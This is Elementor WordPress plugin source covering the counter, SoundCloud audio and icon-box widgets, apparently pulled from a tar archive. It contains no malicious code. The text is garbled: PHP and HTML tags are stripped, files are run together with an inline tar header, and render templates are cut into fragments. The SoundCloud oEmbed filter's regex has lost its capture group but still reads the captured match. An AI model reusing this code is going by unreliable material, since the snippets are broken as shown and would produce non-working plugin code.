[ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-h-align-$end", ], ], 'selectors_dictionary' => [ 'before' => 'flex-direction: column;', 'after' => 'flex-direction: column-reverse;', 'start' => 'flex-direction: row;', 'end' => 'flex-direction: row-reverse;', ], 'selectors' => [ '{{WRAPPER}} .elementor-counter' => '{{VALUE}}', ], 'condition' => [ 'title!' => '', ], ] ); $this->add_responsive_control( 'title_horizontal_alignment', [ 'label' => esc_html__( 'Title Horizontal Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-h-align-$start", ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-h-align-$end", ], ], 'separator' => 'before', 'selectors' => [ '{{WRAPPER}} .elementor-counter-title' => 'justify-content: {{VALUE}};', ], 'condition' => [ 'title!' => '', ], ] ); $this->add_responsive_control( 'title_vertical_alignment', [ 'label' => esc_html__( 'Title Vertical Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'center' => [ 'title' => esc_html__( 'Middle', 'elementor' ), 'icon' => 'eicon-v-align-middle', ], 'end' => [ 'title' => esc_html__( 'Bottom', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'selectors' => [ '{{WRAPPER}} .elementor-counter-title' => 'align-items: {{VALUE}};', ], 'condition' => [ 'title!' => '', 'title_position' => [ 'start', 'end' ], ], ] ); $this->add_responsive_control( 'title_gap', [ 'label' => esc_html__( 'Title Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-counter' => 'gap: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'title!' => '', 'title_position' => [ '', 'before', 'after' ], ], ] ); $this->add_responsive_control( 'number_position', [ 'label' => esc_html__( 'Number Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-h-align-$start", ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-h-align-$end", ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-grow', ], ], 'selectors_dictionary' => [ 'start' => 'text-align: {{VALUE}}; --counter-prefix-grow: 0; --counter-suffix-grow: 1; --counter-number-grow: 0;', 'center' => 'text-align: {{VALUE}}; --counter-prefix-grow: 1; --counter-suffix-grow: 1; --counter-number-grow: 0;', 'end' => 'text-align: {{VALUE}}; --counter-prefix-grow: 1; --counter-suffix-grow: 0; --counter-number-grow: 0;', 'stretch' => '--counter-prefix-grow: 0; --counter-suffix-grow: 0; --counter-number-grow: 1;', ], 'selectors' => [ '{{WRAPPER}} .elementor-counter-number-wrapper' => '{{VALUE}}', ], 'separator' => 'before', ] ); $this->add_responsive_control( 'number_alignment', [ 'label' => esc_html__( 'Number Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-text-align-$start", ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => "eicon-text-align-$end", ], ], 'selectors' => [ '{{WRAPPER}} .elementor-counter-number' => 'text-align: {{VALUE}};', ], 'condition' => [ 'number_position' => 'stretch', ], ] ); $this->add_responsive_control( 'number_gap', [ 'label' => esc_html__( 'Number Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-counter-number-wrapper' => 'gap: {{SIZE}}{{UNIT}};', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'number_position', 'operator' => '!==', 'value' => 'stretch', ], [ 'relation' => 'or', 'terms' => [ [ 'name' => 'prefix', 'operator' => '!==', 'value' => '', ], [ 'name' => 'suffix', 'operator' => '!==', 'value' => '', ], ], ], ], ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_number', [ 'label' => esc_html__( 'Number', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'number_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], 'selectors' => [ '{{WRAPPER}} .elementor-counter-number-wrapper' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography_number', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], 'selector' => '{{WRAPPER}} .elementor-counter-number-wrapper', ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'number_stroke', 'selector' => '{{WRAPPER}} .elementor-counter-number-wrapper', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'number_shadow', 'selector' => '{{WRAPPER}} .elementor-counter-number-wrapper', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'title!' => '', ], ] ); $this->add_control( 'title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_SECONDARY, ], 'selectors' => [ '{{WRAPPER}} .elementor-counter-title' => 'color: {{VALUE}};', ], 'condition' => [ 'title!' => '', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography_title', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_SECONDARY, ], 'selector' => '{{WRAPPER}} .elementor-counter-title', 'condition' => [ 'title!' => '', ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'title_stroke', 'selector' => '{{WRAPPER}} .elementor-counter-title', 'condition' => [ 'title!' => '', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-counter-title', 'condition' => [ 'title!' => '', ], ] ); $this->end_controls_section(); } /** * Render counter widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() { ?> <# view.addRenderAttribute( 'elementor-counter', 'class', 'elementor-counter' ); view.addRenderAttribute( 'counter-number', 'class', 'elementor-counter-number-wrapper' ); view.addRenderAttribute( 'counter', { 'class': 'elementor-counter-number', 'data-duration': settings.duration, 'data-to-value': settings.ending_number, 'data-from-value': settings.starting_number, } ); if ( settings.thousand_separator ) { const delimiter = settings.thousand_separator_char ? settings.thousand_separator_char : ','; view.addRenderAttribute( 'counter', 'data-delimiter', delimiter ); } view.addRenderAttribute( 'prefix', 'class', 'elementor-counter-number-prefix' ); view.addRenderAttribute( 'suffix', 'class', 'elementor-counter-number-suffix' ); view.addRenderAttribute( 'counter-title', 'class', 'elementor-counter-title' ); view.addInlineEditingAttributes( 'counter-title' ); const titleTag = elementor.helpers.validateHTMLTag( settings.title_tag ); #>
<# if ( settings.title ) { #><{{ titleTag }} {{{ view.getRenderAttributeString( 'counter-title' ) }}}>{{{ settings.title }}}<# } #>
{{{ settings.prefix }}} {{{ settings.starting_number }}} {{{ settings.suffix }}}
get_settings_for_display(); $this->add_render_attribute( 'elementor-counter', 'class', 'elementor-counter' ); $this->add_render_attribute( 'counter-number', 'class', 'elementor-counter-number-wrapper' ); $this->add_render_attribute( 'counter', [ 'class' => 'elementor-counter-number', 'data-duration' => $settings['duration'], 'data-to-value' => $settings['ending_number'], 'data-from-value' => $settings['starting_number'], ] ); if ( ! empty( $settings['thousand_separator'] ) ) { $delimiter = empty( $settings['thousand_separator_char'] ) ? ',' : $settings['thousand_separator_char']; $this->add_render_attribute( 'counter', 'data-delimiter', $delimiter ); } $this->add_render_attribute( 'prefix', 'class', 'elementor-counter-number-prefix' ); $this->add_render_attribute( 'suffix', 'class', 'elementor-counter-number-suffix' ); $this->add_render_attribute( 'counter-title', 'class', 'elementor-counter-title' ); $this->add_inline_editing_attributes( 'counter-title' ); $title_tag = Utils::validate_html_tag( $settings['title_tag'] ); ?>
print_render_attribute_string( 'elementor-counter' ); ?>> < print_render_attribute_string( 'counter-title' ); ?>>print_unescaped_setting( 'title' ); ?>>
print_render_attribute_string( 'counter-number' ); ?>> print_render_attribute_string( 'prefix' ); ?>>print_unescaped_setting( 'prefix' ); ?> print_render_attribute_string( 'counter' ); ?>>print_unescaped_setting( 'starting_number' ); ?> print_render_attribute_string( 'suffix' ); ?>>print_unescaped_setting( 'suffix' ); ?>
start_controls_section( 'section_audio', [ 'label' => esc_html__( 'SoundCloud', 'elementor' ), ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'default' => [ 'url' => 'https://soundcloud.com/shchxango/john-coltrane-1963-my-favorite', ], 'options' => false, ] ); $this->add_control( 'visual', [ 'label' => esc_html__( 'Visual Player', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'no', 'options' => [ 'yes' => esc_html__( 'Yes', 'elementor' ), 'no' => esc_html__( 'No', 'elementor' ), ], ] ); $this->add_control( 'sc_options', [ 'label' => esc_html__( 'Additional Options', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'sc_auto_play', [ 'label' => esc_html__( 'Autoplay', 'elementor' ), 'type' => Controls_Manager::SWITCHER, ] ); $this->add_control( 'sc_buying', [ 'label' => esc_html__( 'Buy Button', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_liking', [ 'label' => esc_html__( 'Like Button', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_download', [ 'label' => esc_html__( 'Download Button', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_show_artwork', [ 'label' => esc_html__( 'Artwork', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'visual' => 'no', ], ] ); $this->add_control( 'sc_sharing', [ 'label' => esc_html__( 'Share Button', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_show_comments', [ 'label' => esc_html__( 'Comments', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_show_playcount', [ 'label' => esc_html__( 'Play Counts', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_show_user', [ 'label' => esc_html__( 'Username', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', ] ); $this->add_control( 'sc_color', [ 'label' => esc_html__( 'Controls Color', 'elementor' ), 'type' => Controls_Manager::COLOR, ] ); $this->end_controls_section(); } /** * Render audio widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( empty( $settings['link'] ) ) { return; } $this->_current_instance = $settings; add_filter( 'oembed_result', [ $this, 'filter_oembed_result' ], 50, 3 ); $video_html = wp_oembed_get( $settings['link']['url'], wp_embed_defaults() ); remove_filter( 'oembed_result', [ $this, 'filter_oembed_result' ], 50 ); if ( $video_html ) : ?>
_current_instance[ 'sc_' . $param_key ] ? 'true' : 'false'; } $params['color'] = str_replace( '#', '', $this->_current_instance['sc_color'] ); preg_match( '/<\/iframe>/isU', $html, $matches ); $url = esc_url( add_query_arg( $params, $matches[1] ) ); $visual = 'yes' === $this->_current_instance['visual'] ? 'true' : 'false'; $html = str_replace( [ $matches[1], 'visual=true' ], [ $url, 'visual=' . $visual ], $html ); if ( 'false' === $visual ) { $html = str_replace( 'height="400"', 'height="200"', $html ); } return $html; } /** * Render audio widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() {} } includes/widgets/icon-box.php000064400000052621147206604650012267 0ustar00start_controls_section( 'section_icon', [ 'label' => esc_html__( 'Icon Box', 'elementor' ), ] ); $this->add_control( 'selected_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'default' => [ 'value' => 'fas fa-star', 'library' => 'fa-solid', ], ] ); $this->add_control( 'view', [ 'label' => esc_html__( 'View', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'stacked' => esc_html__( 'Stacked', 'elementor' ), 'framed' => esc_html__( 'Framed', 'elementor' ), ], 'default' => 'default', 'prefix_class' => 'elementor-view-', 'condition' => [ 'selected_icon[value]!' => '', ], ] ); $this->add_control( 'shape', [ 'label' => esc_html__( 'Shape', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'square' => esc_html__( 'Square', 'elementor' ), 'rounded' => esc_html__( 'Rounded', 'elementor' ), 'circle' => esc_html__( 'Circle', 'elementor' ), ], 'default' => 'circle', 'condition' => [ 'view!' => 'default', 'selected_icon[value]!' => '', ], 'prefix_class' => 'elementor-shape-', ] ); $this->add_control( 'title_text', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'default' => esc_html__( 'This is the heading', 'elementor' ), 'placeholder' => esc_html__( 'Enter your title', 'elementor' ), 'label_block' => true, ] ); $this->add_control( 'description_text', [ 'label' => esc_html__( 'Description', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'default' => esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ), 'placeholder' => esc_html__( 'Enter your description', 'elementor' ), 'rows' => 10, ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'separator' => 'before', ] ); $this->add_control( 'title_size', [ 'label' => esc_html__( 'Title HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'default' => 'h3', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_box', [ 'label' => esc_html__( 'Box', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'position', [ 'label' => esc_html__( 'Icon Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => 'top', 'mobile_default' => 'top', 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'top' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'prefix_class' => 'elementor%s-position-', 'condition' => [ 'selected_icon[value]!' => '', ], ] ); $this->add_responsive_control( 'content_vertical_alignment', [ 'label' => esc_html__( 'Vertical Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'top' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'middle' => [ 'title' => esc_html__( 'Middle', 'elementor' ), 'icon' => 'eicon-v-align-middle', ], 'bottom' => [ 'title' => esc_html__( 'Bottom', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'default' => 'top', 'toggle' => false, 'prefix_class' => 'elementor-vertical-align-', 'condition' => [ 'position!' => 'top', ], ] ); $this->add_responsive_control( 'text_align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-box-wrapper' => 'text-align: {{VALUE}};', ], 'separator' => 'after', ] ); $this->add_responsive_control( 'icon_space', [ 'label' => esc_html__( 'Icon Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'size' => 15, ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}}' => '--icon-box-icon-margin: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'selected_icon[value]!' => '', ], ] ); $this->add_responsive_control( 'title_bottom_space', [ 'label' => esc_html__( 'Content Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 10, ], 'rem' => [ 'min' => 0, 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-icon-box-title' => 'margin-bottom: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'selected_icon[value]!' => '', ], ] ); $this->start_controls_tabs( 'icon_colors' ); $this->start_controls_tab( 'icon_colors_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], 'default' => '', 'selectors' => [ '{{WRAPPER}}.elementor-view-stacked .elementor-icon' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon, {{WRAPPER}}.elementor-view-default .elementor-icon' => 'fill: {{VALUE}}; color: {{VALUE}}; border-color: {{VALUE}};', ], ] ); $this->add_control( 'secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'view!' => 'default', ], 'selectors' => [ '{{WRAPPER}}.elementor-view-framed .elementor-icon' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon' => 'fill: {{VALUE}}; color: {{VALUE}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'icon_colors_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'hover_primary_color', [ 'label' => esc_html__( 'Primary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}}.elementor-view-stacked .elementor-icon:hover' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-framed .elementor-icon:hover, {{WRAPPER}}.elementor-view-default .elementor-icon:hover' => 'fill: {{VALUE}}; color: {{VALUE}}; border-color: {{VALUE}};', ], ] ); $this->add_control( 'hover_secondary_color', [ 'label' => esc_html__( 'Secondary Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'view!' => 'default', ], 'selectors' => [ '{{WRAPPER}}.elementor-view-framed .elementor-icon:hover' => 'background-color: {{VALUE}};', '{{WRAPPER}}.elementor-view-stacked .elementor-icon:hover' => 'fill: {{VALUE}}; color: {{VALUE}};', ], ] ); $this->add_control( 'hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 6, 'max' => 300, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'font-size: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'icon_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'padding: {{SIZE}}{{UNIT}};', ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], 'condition' => [ 'view!' => 'default', ], ] ); $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); $rotate_device_args = []; $rotate_device_settings = [ 'default' => [ 'unit' => 'deg', ], ]; foreach ( $active_breakpoints as $breakpoint_name => $breakpoint ) { $rotate_device_args[ $breakpoint_name ] = $rotate_device_settings; } $this->add_responsive_control( 'rotate', [ 'label' => esc_html__( 'Rotate', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'deg', 'grad', 'rad', 'turn', 'custom' ], 'default' => [ 'unit' => 'deg', ], 'tablet_default' => [ 'unit' => 'deg', ], 'mobile_default' => [ 'unit' => 'deg', ], 'device_args' => $rotate_device_args, 'selectors' => [ '{{WRAPPER}} .elementor-icon i' => 'transform: rotate({{SIZE}}{{UNIT}});', ], ] ); $this->add_responsive_control( 'border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'condition' => [ 'view' => 'framed', ], ] ); $this->add_responsive_control( 'border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'condition' => [ 'view!' => 'default', ], 'separator' => 'before', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'heading_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'title_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-icon-box-title' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'title_typography', 'selector' => '{{WRAPPER}} .elementor-icon-box-title, {{WRAPPER}} .elementor-icon-box-title a', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'text_stroke', 'selector' => '{{WRAPPER}} .elementor-icon-box-title', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-icon-box-title', ] ); $this->add_control( 'heading_description', [ 'label' => esc_html__( 'Description', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'description_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-icon-box-description' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'description_typography', 'selector' => '{{WRAPPER}} .elementor-icon-box-description', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'description_shadow', 'selector' => '{{WRAPPER}} .elementor-icon-box-description', ] ); $this->end_controls_section(); } /** * Render icon box widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $has_link = ! empty( $settings['link']['url'] ); $html_tag = $has_link ? 'a' : 'span'; $this->add_render_attribute( 'icon', 'class', [ 'elementor-icon', 'elementor-animation-' . $settings['hover_animation'] ] ); $has_icon = ! empty( $settings['selected_icon']['value'] ); $has_content = ! Utils::is_empty( $settings['title_text'] ) || ! Utils::is_empty( $settings['description_text'] ); if ( ! $has_icon && ! $has_content ) { return; } if ( $has_link ) { $this->add_link_attributes( 'link', $settings['link'] ); $this->add_render_attribute( 'icon', 'tabindex', '-1' ); } if ( ! isset( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) { // add old default $settings['icon'] = 'fa fa-star'; } if ( ! empty( $settings['icon'] ) ) { $this->add_render_attribute( 'i', 'class', $settings['icon'] ); $this->add_render_attribute( 'i', 'aria-hidden', 'true' ); } $this->add_render_attribute( 'description_text', 'class', 'elementor-icon-box-description' ); $this->add_inline_editing_attributes( 'title_text', 'none' ); $this->add_inline_editing_attributes( 'description_text' ); $migrated = isset( $settings['__fa4_migrated']['selected_icon'] ); $is_new = ! isset( $settings['icon'] ) && Icons_Manager::is_migration_allowed(); ?>
< print_render_attribute_string( 'link' ); ?> print_render_attribute_string( 'icon' ); ?>> 'true' ] ); } elseif ( ! empty( $settings['icon'] ) ) { ?>print_render_attribute_string( 'i' ); ?>> >
< class="elementor-icon-box-title"> < print_render_attribute_string( 'link' ); ?> print_render_attribute_string( 'title_text' ); ?>> print_unescaped_setting( 'title_text' ); ?> > >

print_render_attribute_string( 'description_text' ); ?>> print_unescaped_setting( 'description_text' ); ?>

<# // For older version `settings.icon` is needed. var hasIcon = settings.icon || settings.selected_icon.value; var hasContent = settings.title_text || settings.description_text; if ( ! hasIcon && ! hasContent ) { return; } var hasLink = settings.link.url, htmlTag = hasLink ? 'a' : 'span', iconHTML = elementor.helpers.renderIcon( view, settings.selected_icon, { 'aria-hidden': true }, 'i' , 'object' ), migrated = elementor.helpers.isIconMigrated( settings, 'selected_icon' ), titleSizeTag = elementor.helpers.validateHTMLTag( settings.title_size ); view.addRenderAttribute( 'icon', 'class', 'elementor-icon elementor-animation-' + settings.hover_animation ); if ( hasLink ) { view.addRenderAttribute( 'link', 'href', elementor.helpers.sanitizeUrl( settings.link.url ) ); view.addRenderAttribute( 'icon', 'tabindex', '-1' ); } view.addRenderAttribute( 'description_text', 'class', 'elementor-icon-box-description' ); view.addInlineEditingAttributes( 'title_text', 'none' ); view.addInlineEditingAttributes( 'description_text' ); #>
<# if ( hasIcon ) { #>
<{{{ htmlTag }}} {{{ view.getRenderAttributeString( 'link' ) }}} {{{ view.getRenderAttributeString( 'icon' ) }}}> <# if ( iconHTML && iconHTML.rendered && ( ! settings.icon || migrated ) ) { #> {{{ elementor.helpers.sanitize( iconHTML.value ) }}} <# } else { #> <# } #>
<# } #> <# if ( hasContent ) { #>
<# if ( settings.title_text ) { #> <{{{ titleSizeTag }}} class="elementor-icon-box-title"> <{{{ htmlTag }}} {{{ view.getRenderAttributeString( 'link' ) }}} {{{ view.getRenderAttributeString( 'title_text' ) }}}> {{{ elementor.helpers.sanitize( settings.title_text ) }}} <# } #> <# if ( settings.description_text ) { #>

{{{ elementor.helpers.sanitize( settings.description_text ) }}}

<# } #>
<# } #>
